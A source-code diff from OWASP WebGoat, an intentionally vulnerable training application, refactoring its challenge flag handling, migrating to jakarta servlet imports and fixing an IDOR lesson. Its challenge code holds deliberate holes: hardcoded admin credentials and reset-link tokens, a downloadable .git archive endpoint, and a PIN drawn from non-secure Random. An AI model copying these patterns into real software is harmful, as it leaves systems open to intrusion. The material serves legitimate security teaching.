import org.owasp.webgoat.container.session.WebSession;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
@RestController
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class FlagController extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final WebSession webSession;
|
||||||
|
private final Flags flags;
|
||||||
|
|
||||||
|
@PostMapping(path = "/challenge/flag", produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult postFlag(@RequestParam String flag) {
|
||||||
|
Flag expectedFlag = flags.getFlag(webSession.getCurrentLesson());
|
||||||
|
if (expectedFlag.isCorrect(flag)) {
|
||||||
|
return success(this).feedback("challenge.flag.correct").build();
|
||||||
|
} else {
|
||||||
|
return failed(this).feedback("challenge.flag.incorrect").build();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,27 @@
|
|||||||
|
package org.owasp.webgoat.lessons.challenges;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.UUID;
|
||||||
|
import java.util.stream.IntStream;
|
||||||
|
import org.owasp.webgoat.container.lessons.Lesson;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
|
||||||
|
@Configuration
|
||||||
|
public class Flags {
|
||||||
|
private final Map<Integer, Flag> FLAGS = new HashMap<>();
|
||||||
|
|
||||||
|
public Flags() {
|
||||||
|
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, new Flag(i, UUID.randomUUID().toString())));
|
||||||
|
}
|
||||||
|
|
||||||
|
public Flag getFlag(Lesson forLesson) {
|
||||||
|
String lessonName = forLesson.getName();
|
||||||
|
int challengeNumber = Integer.valueOf(lessonName.substring(lessonName.length() - 1));
|
||||||
|
return FLAGS.get(challengeNumber);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Flag getFlag(int flagNumber) {
|
||||||
|
return FLAGS.get(flagNumber);
|
||||||
|
}
|
||||||
|
}
|
@ -32,6 +32,4 @@ public interface SolutionConstants {
|
|||||||
|
|
||||||
// TODO should be random generated when starting the server
|
// TODO should be random generated when starting the server
|
||||||
String PASSWORD = "!!webgoat_admin_1234!!";
|
String PASSWORD = "!!webgoat_admin_1234!!";
|
||||||
String PASSWORD_TOM = "thisisasecretfortomonly";
|
|
||||||
String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
|
|
||||||
}
|
}
|
||||||
|
@ -2,11 +2,10 @@ package org.owasp.webgoat.lessons.challenges.challenge1;
|
|||||||
|
|
||||||
import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD;
|
import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import lombok.RequiredArgsConstructor;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.lessons.challenges.Flag;
|
import org.owasp.webgoat.lessons.challenges.Flags;
|
||||||
import org.springframework.util.StringUtils;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
@ -43,12 +42,14 @@ import org.springframework.web.bind.annotation.RestController;
|
|||||||
* @since August 11, 2016
|
* @since August 11, 2016
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
|
@RequiredArgsConstructor
|
||||||
public class Assignment1 extends AssignmentEndpoint {
|
public class Assignment1 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final Flags flags;
|
||||||
|
|
||||||
@PostMapping("/challenge/1")
|
@PostMapping("/challenge/1")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(
|
public AttackResult completed(@RequestParam String username, @RequestParam String password) {
|
||||||
@RequestParam String username, @RequestParam String password, HttpServletRequest request) {
|
|
||||||
boolean ipAddressKnown = true;
|
boolean ipAddressKnown = true;
|
||||||
boolean passwordCorrect =
|
boolean passwordCorrect =
|
||||||
"admin".equals(username)
|
"admin".equals(username)
|
||||||
@ -56,14 +57,10 @@ public class Assignment1 extends AssignmentEndpoint {
|
|||||||
.replace("1234", String.format("%04d", ImageServlet.PINCODE))
|
.replace("1234", String.format("%04d", ImageServlet.PINCODE))
|
||||||
.equals(password);
|
.equals(password);
|
||||||
if (passwordCorrect && ipAddressKnown) {
|
if (passwordCorrect && ipAddressKnown) {
|
||||||
return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build();
|
return success(this).feedback("challenge.solved").feedbackArgs(flags.getFlag(1)).build();
|
||||||
} else if (passwordCorrect) {
|
} else if (passwordCorrect) {
|
||||||
return failed(this).feedback("ip.address.unknown").build();
|
return failed(this).feedback("ip.address.unknown").build();
|
||||||
}
|
}
|
||||||
return failed(this).build();
|
return failed(this).build();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static boolean containsHeader(HttpServletRequest request) {
|
|
||||||
return StringUtils.hasText(request.getHeader("X-Forwarded-For"));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
@ -4,8 +4,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
|||||||
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.security.SecureRandom;
|
import java.util.Random;
|
||||||
import javax.servlet.http.HttpServlet;
|
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@ -13,10 +12,9 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
public class ImageServlet extends HttpServlet {
|
public class ImageServlet {
|
||||||
|
|
||||||
private static final long serialVersionUID = 9132775506936676850L;
|
public static final int PINCODE = new Random().nextInt(10000);
|
||||||
public static final int PINCODE = new SecureRandom().nextInt(10000);
|
|
||||||
|
|
||||||
@RequestMapping(
|
@RequestMapping(
|
||||||
method = {GET, POST},
|
method = {GET, POST},
|
||||||
|
@ -24,11 +24,12 @@ package org.owasp.webgoat.lessons.challenges.challenge5;
|
|||||||
|
|
||||||
import java.sql.PreparedStatement;
|
import java.sql.PreparedStatement;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
|
import lombok.RequiredArgsConstructor;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.container.LessonDataSource;
|
import org.owasp.webgoat.container.LessonDataSource;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.lessons.challenges.Flag;
|
import org.owasp.webgoat.lessons.challenges.Flags;
|
||||||
import org.springframework.util.StringUtils;
|
import org.springframework.util.StringUtils;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
@ -37,13 +38,11 @@ import org.springframework.web.bind.annotation.RestController;
|
|||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@Slf4j
|
@Slf4j
|
||||||
|
@RequiredArgsConstructor
|
||||||
public class Assignment5 extends AssignmentEndpoint {
|
public class Assignment5 extends AssignmentEndpoint {
|
||||||
|
|
||||||
private final LessonDataSource dataSource;
|
private final LessonDataSource dataSource;
|
||||||
|
private final Flags flags;
|
||||||
public Assignment5(LessonDataSource dataSource) {
|
|
||||||
this.dataSource = dataSource;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/challenge/5")
|
@PostMapping("/challenge/5")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@ -66,7 +65,7 @@ public class Assignment5 extends AssignmentEndpoint {
|
|||||||
ResultSet resultSet = statement.executeQuery();
|
ResultSet resultSet = statement.executeQuery();
|
||||||
|
|
||||||
if (resultSet.next()) {
|
if (resultSet.next()) {
|
||||||
return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
|
return success(this).feedback("challenge.solved").feedbackArgs(flags.getFlag(5)).build();
|
||||||
} else {
|
} else {
|
||||||
return failed(this).feedback("challenge.close").build();
|
return failed(this).feedback("challenge.close").build();
|
||||||
}
|
}
|
||||||
|
@ -1,16 +1,14 @@
|
|||||||
package org.owasp.webgoat.lessons.challenges.challenge7;
|
package org.owasp.webgoat.lessons.challenges.challenge7;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.net.URI;
|
import java.net.URI;
|
||||||
import java.net.URISyntaxException;
|
import java.net.URISyntaxException;
|
||||||
import java.time.LocalDateTime;
|
import java.time.LocalDateTime;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.lessons.challenges.Email;
|
import org.owasp.webgoat.lessons.challenges.Email;
|
||||||
import org.owasp.webgoat.lessons.challenges.Flag;
|
import org.owasp.webgoat.lessons.challenges.Flags;
|
||||||
import org.owasp.webgoat.lessons.challenges.SolutionConstants;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
@ -33,6 +31,8 @@ import org.springframework.web.client.RestTemplate;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class Assignment7 extends AssignmentEndpoint {
|
public class Assignment7 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
public static final String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
|
||||||
|
|
||||||
private static final String TEMPLATE =
|
private static final String TEMPLATE =
|
||||||
"Hi, you requested a password reset link, please use this <a target='_blank'"
|
"Hi, you requested a password reset link, please use this <a target='_blank'"
|
||||||
+ " href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your"
|
+ " href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your"
|
||||||
@ -44,22 +44,26 @@ public class Assignment7 extends AssignmentEndpoint {
|
|||||||
+ "Kind regards, \n"
|
+ "Kind regards, \n"
|
||||||
+ "Team WebGoat";
|
+ "Team WebGoat";
|
||||||
|
|
||||||
@Autowired private RestTemplate restTemplate;
|
private final Flags flags;
|
||||||
|
private final RestTemplate restTemplate;
|
||||||
|
private final String webWolfMailURL;
|
||||||
|
|
||||||
@Value("${webwolf.mail.url}")
|
public Assignment7(
|
||||||
private String webWolfMailURL;
|
Flags flags, RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfMailURL) {
|
||||||
|
this.flags = flags;
|
||||||
|
this.restTemplate = restTemplate;
|
||||||
|
this.webWolfMailURL = webWolfMailURL;
|
||||||
|
}
|
||||||
|
|
||||||
@GetMapping("/challenge/7/reset-password/{link}")
|
@GetMapping("/challenge/7/reset-password/{link}")
|
||||||
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
|
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
|
||||||
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
|
if (link.equals(ADMIN_PASSWORD_LINK)) {
|
||||||
return ResponseEntity.accepted()
|
return ResponseEntity.accepted()
|
||||||
.body(
|
.body(
|
||||||
"<h1>Success!!</h1>"
|
"<h1>Success!!</h1>"
|
||||||
+ "<img src='/WebGoat/images/hi-five-cat.jpg'>"
|
+ "<img src='/WebGoat/images/hi-five-cat.jpg'>"
|
||||||
+ "<br/><br/>Here is your flag: "
|
+ "<br/><br/>Here is your flag: "
|
||||||
+ "<b>"
|
+ flags.getFlag(7));
|
||||||
+ Flag.FLAGS.get(7)
|
|
||||||
+ "</b>");
|
|
||||||
}
|
}
|
||||||
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT)
|
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT)
|
||||||
.body("That is not the reset link for admin");
|
.body("That is not the reset link for admin");
|
||||||
@ -94,6 +98,6 @@ public class Assignment7 extends AssignmentEndpoint {
|
|||||||
@GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
|
@GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public ClassPathResource git() {
|
public ClassPathResource git() {
|
||||||
return new ClassPathResource("challenge7/git.zip");
|
return new ClassPathResource("lessons/challenges/challenge7/git.zip");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,13 +1,14 @@
|
|||||||
package org.owasp.webgoat.lessons.challenges.challenge8;
|
package org.owasp.webgoat.lessons.challenges.challenge8;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import lombok.RequiredArgsConstructor;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.lessons.challenges.Flag;
|
import org.owasp.webgoat.lessons.challenges.Flags;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
@ -15,12 +16,9 @@ import org.springframework.web.bind.annotation.PathVariable;
|
|||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/8/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@Slf4j
|
@Slf4j
|
||||||
|
@RequiredArgsConstructor
|
||||||
public class Assignment8 extends AssignmentEndpoint {
|
public class Assignment8 extends AssignmentEndpoint {
|
||||||
|
|
||||||
private static final Map<Integer, Integer> votes = new HashMap<>();
|
private static final Map<Integer, Integer> votes = new HashMap<>();
|
||||||
@ -33,6 +31,8 @@ public class Assignment8 extends AssignmentEndpoint {
|
|||||||
votes.put(5, 300);
|
votes.put(5, 300);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private final Flags flags;
|
||||||
|
|
||||||
@GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
|
@GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public ResponseEntity<?> vote(
|
public ResponseEntity<?> vote(
|
||||||
@ -47,7 +47,7 @@ public class Assignment8 extends AssignmentEndpoint {
|
|||||||
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
|
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
|
||||||
votes.put(nrOfStars, allVotesForStar + 1);
|
votes.put(nrOfStars, allVotesForStar + 1);
|
||||||
return ResponseEntity.ok()
|
return ResponseEntity.ok()
|
||||||
.header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8))
|
.header("X-FlagController", "Thanks for voting, your flag is: " + flags.getFlag(8))
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -22,6 +22,7 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.clientsidefiltering;
|
package org.owasp.webgoat.lessons.clientsidefiltering;
|
||||||
|
|
||||||
|
import jakarta.annotation.PostConstruct;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileInputStream;
|
import java.io.FileInputStream;
|
||||||
import java.io.FileOutputStream;
|
import java.io.FileOutputStream;
|
||||||
@ -31,7 +32,6 @@ import java.util.ArrayList;
|
|||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import javax.xml.xpath.XPath;
|
import javax.xml.xpath.XPath;
|
||||||
import javax.xml.xpath.XPathConstants;
|
import javax.xml.xpath.XPathConstants;
|
||||||
import javax.xml.xpath.XPathExpressionException;
|
import javax.xml.xpath.XPathExpressionException;
|
||||||
|
@ -22,9 +22,9 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.cryptography;
|
package org.owasp.webgoat.lessons.cryptography;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
|
@ -22,10 +22,10 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.cryptography;
|
package org.owasp.webgoat.lessons.cryptography;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.security.MessageDigest;
|
import java.security.MessageDigest;
|
||||||
import java.security.NoSuchAlgorithmException;
|
import java.security.NoSuchAlgorithmException;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.xml.bind.DatatypeConverter;
|
import javax.xml.bind.DatatypeConverter;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
|
@ -22,11 +22,11 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.cryptography;
|
package org.owasp.webgoat.lessons.cryptography;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.security.InvalidAlgorithmParameterException;
|
import java.security.InvalidAlgorithmParameterException;
|
||||||
import java.security.KeyPair;
|
import java.security.KeyPair;
|
||||||
import java.security.NoSuchAlgorithmException;
|
import java.security.NoSuchAlgorithmException;
|
||||||
import java.security.interfaces.RSAPublicKey;
|
import java.security.interfaces.RSAPublicKey;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.xml.bind.DatatypeConverter;
|
import javax.xml.bind.DatatypeConverter;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
|
@ -24,11 +24,11 @@ package org.owasp.webgoat.lessons.csrf;
|
|||||||
|
|
||||||
import com.fasterxml.jackson.databind.DeserializationFeature;
|
import com.fasterxml.jackson.databind.DeserializationFeature;
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import jakarta.servlet.http.Cookie;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.UUID;
|
import java.util.UUID;
|
||||||
import javax.servlet.http.Cookie;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.apache.commons.lang3.exception.ExceptionUtils;
|
import org.apache.commons.lang3.exception.ExceptionUtils;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
|
@ -22,10 +22,10 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.csrf;
|
package org.owasp.webgoat.lessons.csrf;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.owasp.webgoat.container.i18n.PluginMessages;
|
import org.owasp.webgoat.container.i18n.PluginMessages;
|
||||||
import org.owasp.webgoat.container.session.UserSessionData;
|
import org.owasp.webgoat.container.session.UserSessionData;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
@ -22,7 +22,7 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.csrf;
|
package org.owasp.webgoat.lessons.csrf;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
|
@ -25,6 +25,7 @@ package org.owasp.webgoat.lessons.csrf;
|
|||||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
import com.google.common.collect.Lists;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.time.LocalDateTime;
|
import java.time.LocalDateTime;
|
||||||
import java.time.format.DateTimeFormatter;
|
import java.time.format.DateTimeFormatter;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
@ -32,7 +33,6 @@ import java.util.Collection;
|
|||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
|
@ -22,8 +22,8 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.hijacksession;
|
package org.owasp.webgoat.lessons.hijacksession;
|
||||||
|
|
||||||
import javax.servlet.http.Cookie;
|
import jakarta.servlet.http.Cookie;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
|
@ -22,7 +22,7 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.httpproxies;
|
package org.owasp.webgoat.lessons.httpproxies;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.springframework.http.HttpMethod;
|
import org.springframework.http.HttpMethod;
|
||||||
|
@ -15,7 +15,8 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
@ -15,7 +15,8 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
@ -45,7 +46,7 @@ import org.springframework.web.bind.annotation.RestController;
|
|||||||
"idor.hints.otherProfile8",
|
"idor.hints.otherProfile8",
|
||||||
"idor.hints.otherProfile9"
|
"idor.hints.otherProfile9"
|
||||||
})
|
})
|
||||||
public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
public class IDOREditOtherProfile extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired private UserSessionData userSessionData;
|
@Autowired private UserSessionData userSessionData;
|
||||||
|
|
||||||
@ -69,7 +70,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
|||||||
// we will persist in the session object for now in case we want to refer back or use it later
|
// we will persist in the session object for now in case we want to refer back or use it later
|
||||||
userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
|
userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
|
||||||
if (currentUserProfile.getRole() <= 1
|
if (currentUserProfile.getRole() <= 1
|
||||||
&& currentUserProfile.getColor().toLowerCase().equals("red")) {
|
&& currentUserProfile.getColor().equalsIgnoreCase("red")) {
|
||||||
return success(this)
|
return success(this)
|
||||||
.feedback("idor.edit.profile.success1")
|
.feedback("idor.edit.profile.success1")
|
||||||
.output(currentUserProfile.profileToMap().toString())
|
.output(currentUserProfile.profileToMap().toString())
|
||||||
@ -77,16 +78,16 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (currentUserProfile.getRole() > 1
|
if (currentUserProfile.getRole() > 1
|
||||||
&& currentUserProfile.getColor().toLowerCase().equals("red")) {
|
&& currentUserProfile.getColor().equalsIgnoreCase("red")) {
|
||||||
return success(this)
|
return failed(this)
|
||||||
.feedback("idor.edit.profile.failure1")
|
.feedback("idor.edit.profile.failure1")
|
||||||
.output(currentUserProfile.profileToMap().toString())
|
.output(currentUserProfile.profileToMap().toString())
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (currentUserProfile.getRole() <= 1
|
if (currentUserProfile.getRole() <= 1
|
||||||
&& !currentUserProfile.getColor().toLowerCase().equals("red")) {
|
&& !currentUserProfile.getColor().equalsIgnoreCase("red")) {
|
||||||
return success(this)
|
return failed(this)
|
||||||
.feedback("idor.edit.profile.failure2")
|
.feedback("idor.edit.profile.failure2")
|
||||||
